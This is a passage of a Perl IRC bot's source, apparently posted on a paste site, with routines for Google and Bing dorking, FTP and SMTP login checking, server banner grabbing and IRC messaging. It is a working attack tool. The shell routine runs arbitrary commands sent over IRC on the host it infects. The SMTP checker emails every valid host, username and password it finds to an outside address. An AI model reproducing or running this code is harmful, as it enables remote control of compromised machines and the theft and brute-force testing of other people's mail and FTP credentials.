  736. }
  737. }
  738. }
  739. elsif($response->status_line =~ m/403/){
  740. &msg("$chan","14,1[15 Google 14] 04,01[e] Forbidden request");
  741. print "FORBIDDEN\r\n";
  742. exit;
  743. }
  744. else{
  745. &msg("$chan","14,1[15 Google 14] 04,01[e] Connection error");
  746. print "CONNECTION ERROR\r\n";
  747. exit;
  748. }
  749. }
  750. ######################################################################
  751. sub binger(){
  752. my $chan = $_[0];
  753. my $dork = $_[1];
  754. my $listed = $_[2];
  755. if($listed !~ m/(\d[0-9]{0,2})/){
  756. $listed = "1";
  757. }
  758. #print "OKAY $dork => $listed\r\n";
  759. my $ug = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17";
  760. my $useragent = LWP::UserAgent->new(agent => $ug,Timeout => 3);
  761. my $site = "http://www.bing.com/search?q=".$dork."&filt=all&first=10&FORM=PERE";
  762. my $response = $useragent->get($site);
  763. if(!$response->is_success){
  764. &msg("$chan","14,1[15 BING 14] 04,01Can't Connect to Bing..");
  765. print "CONNECTION ERROR\r\n";
  766. exit;
  767. }
  768. elsif ($response->is_success) {
  769. if(int($listed)){
  770. my $res = $response->content;
  771. if($res =~ m/<h3><a href=\"(.*?)\" h=\"(.*)\">/g){
  772. for($i=1;$i<=$listed;$i++){
  773. if($res =~ m/<h3><a href=\"(.*?)\" h=\"(.*)\">/g){
  774. &msg("$chan","14,1[15 BING 14] 14[08$i14] 04,01$1");
  775. #print "1 => $1 2 => $2 3 => $3\r\n";
  776. }
  777. }
  778. }
  779. elsif($res =~ m/<div id=\"no_results\"><h1>/g){
  780. &msg("$chan","14,1[15 BING 14] 04,01No Result!");
  781. }
  782. }
  783. }
  784. elsif($response->status_line =~ m/403/){
  785. &msg("$chan","14,1[15 BING 14] 04,01[e] Forbidden request");
  786. print "FORBIDDEN\r\n";
  787. exit;
  788. }
  789. else{
  790. &msg("$chan","14,1[15 BING 14] 04,01[e] Connection error");
  791. print "CONNECTION ERROR\r\n";
  792. exit;
  793. }
  794. }
  795. ######################################################################
  796. sub smtp_check() {
  797. my $chan = $_[0];
  798. my $host = $_[1];
  799. my $user = $_[2];
  800. my $pass = $_[3];
  801. my $smtp = Net::SMTP->new($host,Timeout => 6,Debug => 0);
  802. if(!$smtp){
  803. &msg("$chan","3,1[7 SMtP 03]08 $host 00=> 04Can`t Connect!");
  804. exit;
  805. }
  806. my $login = $smtp->auth($user, $pass);
  807. if($login){
  808. $smtp->mail('smtpreporter@s4l1ty.co.uk');
  809. $smtp->to('r00t@s4l1ty.co.uk');
  810. $smtp->data();
  811. $smtp->datasend("To: r00t\@s4l1ty.co.uk\n");
  812. $smtp->datasend("From: SMTP Reporter <smtpreporter\@s4l1ty.co.uk>\n");
  813. $smtp->datasend("Content-Type: text/html \n");
  814. $smtp->datasend("Subject: New SMTP! - $host");
  815. $smtp->datasend("\n");
  816. $smtp->datasend("<b>New SMTP Details!</b><br><br>
  817. SMTP Server: $host<br>
  818. SMTP Username: $user<br>
  819. SMTP Password: $pass<br><br>
  820. ");
  821. $smtp->datasend("\n");
  822. $smtp->dataend();
  823. $smtp->quit;
  824. &msg("$chan","3,1[7 SMTP 03]08 $host - 09$user : $pass 00=>09 Success!!!");
  825. }elsif(!$login){
  826. &msg("$chan","3,1[7 SMTP 03]08 $host - 09$user : $pass 00=>04 Bad logins!!!");
  827. }
  828. }
  829.  
  830. ######################################################################
  831. sub check_serv() {
  832. my $chan = $_[0];
  833. my $host = $_[1];
  834. my $def = "";
  835. my $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => 80,Proto => 'tcp',Timeout => 3);
  836. if(!$sock){
  837. #print "$host Is Down\r\n";
  838. &msg("$chan","14,1[00 cServ 14]08 $host 07is 04Can't Connect/Down!");
  839. exit;
  840. }
  841. print $sock "HEAD / HTTP/1.0\n\n";
  842. while($line=<$sock>){
  843. if($line =~/^Server/){
  844. @arr=split("Server: ", $line);
  845. #print"\r\n$host runs $arr[1]";
  846. my $version = $arr[1];
  847. &msg("$chan","14,1[00 cServ 14]08 $host 07Runs09 $version");
  848. $def = 1;
  849. exit;
  850. }
  851. }
  852. close($sock);
  853. if(!$def){
  854. &msg("$chan","14,1[00 cServ 14]04 Can't Get server version from 00=>08 $host");
  855. }
  856. }
  857.  
  858. ######################################################################
  859. sub ftp_connect {
  860. my $host = $_[0];
  861. my $user = $_[1];
  862. my $pass = $_[2];
  863. my $chan = $_[3];
  864. my $success = 1;
  865. #print "FTP => HOST = $host USER = $user PASS = $pass CHAN = $chan\r\n";
  866. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 2);
  867. if(!$ftp){
  868. &msg("$chan","3,1[3FTP] 00,01ftp://09,01".$user.":09,01".$pass."00@04,01".$host."00 => 04Can`t Connect!");
  869. exit;
  870. }
  871. my $login = $ftp->login($user,$pass);
  872. if($login){
  873. $success = 0;
  874. }
  875. $ftp->quit;
  876. if ($success == 0) {
  877. &msg("$chan","3,1[3FTP] 00,01ftp://09,01".$user.":09,01".$pass."00@04,01".$host."00 => 09Success!");
  878. }
  879. elsif($success == 1){
  880. &msg("$chan","3,1[3FTP] 00,01ftp://09,01".$user.":09,01".$pass."00@04,01".$host."00 => 04BAD LOGIN!");
  881. }
  882. }
  883. ###################################################
  884.  
  885. ################################################
  886.  
  887. #########################################
  888.  
  889. sub isFound() {
  890. my $status = 0;
  891. my $link = $_[0];
  892. my $reqexp = $_[1];
  893. my $res = &get_content($link);
  894. if ($res =~ /$reqexp/) { $status = 1 }
  895. return $status;
  896. }
  897.  
  898. sub get_content() {
  899. my $url = $_[0];
  900. my $ua = LWP::UserAgent->new(agent => $defuagent);
  901. $ua->timeout(5);
  902. my $req = HTTP::Request->new(GET => $url);
  903. my $res = $ua->request($req);
  904. return $res->content;
  905. }
  906. #########################################
  907.  
  908. sub shell() {
  909. my $path = $_[0];
  910. my $cmd = $_[1];
  911. if ($cmd =~ /cd (.*)/) {
  912. chdir("$1") || &msg("$path","4No such file or directory");
  913. return;
  914. }
  915. elsif ($pid = fork) { waitpid($pid, 0); }
  916. else { if (fork) { exit; } else {
  917. my @output = `$cmd 2>&1 3>&1`;
  918. my $c = 0;
  919. foreach my $output (@output) {
  920. $c++;
  921. chop $output;
  922. &msg("$path","$output");
  923. if ($c == 5) { $c = 0; sleep 2; }
  924. }
  925. exit;
  926. }}
  927. }
  928.  
  929. sub isAdmin() {
  930. my $status = 0;
  931. my $nick = $_[0];
  932. if ($nick eq $admin) { $status = 1; }
  933. return $status;
  934. }
  935.  
  936. sub msg() {
  937. return unless $#_ == 1;
  938. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  939. }
  940.  
  941.  
  942. sub nick() {
  943. return unless $#_ == 0;
  944. sendraw("NICK $_[0]");
  945. }
  946.  
  947. sub notice() {
  948. return unless $#_ == 1;
  949. sendraw("NOTICE $_[0] :$_[1]");
  950. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement